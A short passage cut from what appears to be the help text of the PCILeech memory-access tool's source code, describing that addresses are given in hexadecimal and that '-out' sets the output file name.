\ + " note that the address must be given in hexadecimal format. \n" \ + " -out : name of output file. \n" \ + " default: pcileech----